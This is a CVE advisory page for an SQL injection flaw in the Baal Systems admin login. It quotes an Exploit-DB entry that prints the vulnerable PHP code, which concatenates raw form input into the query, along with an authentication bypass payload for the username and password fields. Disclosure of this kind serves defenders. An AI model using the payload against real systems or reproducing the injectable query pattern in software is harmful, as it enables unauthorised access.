CVE-2010-0611
Description
Multiple SQL injection vulnerabilities in adminlogin.php in Baal Systems 3.8 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) username and (2) password parameters.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Baal Systems 3.8 - Authentication Bypass
[+] Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Vuln Code :
[adminlogin.php]
<?php
include("common.php");
if (!empty($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
$query = "select * from {$tableprefix}tbluser where username='" . $username . "' and password='" . $password . "' and userrole='admin';";
$result1 = db_query($query);
$rows = db_num_rows($result1);
$row = db_fetch_array($result1);
if ($rows != 0) {
if (session_is_registered("whossession")) {
$_SESSION['who'] = "admin";
$_SESSION['userrole'] = "admin";
$_SESSION['username'] = $username;
$_SESSION['usernum'] = $row["userid"];
header("location:admin.php");
} else {
session_register("whossession");
$_SESSION['who'] = "admin";
$_SESSION['userrole'] = "admin";
$_SESSION['username'] = $username;
$_SESSION['usernum'] = $row["userid"];
header("location:admin.php");
}
} else {
header("location:adminlogin.php?error=yes");
}
} else {
?>
[+] PoC :
[BaalSystems_path]/adminlogin.php
username: ' or' 1=1
Password: ' or' 1=1
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| baalsystems | baal_systems | {"endIncluding":"3.8"} | |
| baalsystems | baal_systems | 3.6 | |
| baalsystems | baal_systems | 3.7 | |
References
- http://packetstormsecurity.org/1002-exploits/baalsystems-sql.txt
- http://www.exploit-db.com/exploits/11346
- http://www.securityfocus.com/bid/38139
- https://exchange.xforce.ibmcloud.com/vulnerabilities/56147
- http://packetstormsecurity.org/1002-exploits/baalsystems-sql.txt
- http://www.exploit-db.com/exploits/11346
- http://www.securityfocus.com/bid/38139
- https://exchange.xforce.ibmcloud.com/vulnerabilities/56147
CWEs
CWE-89
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.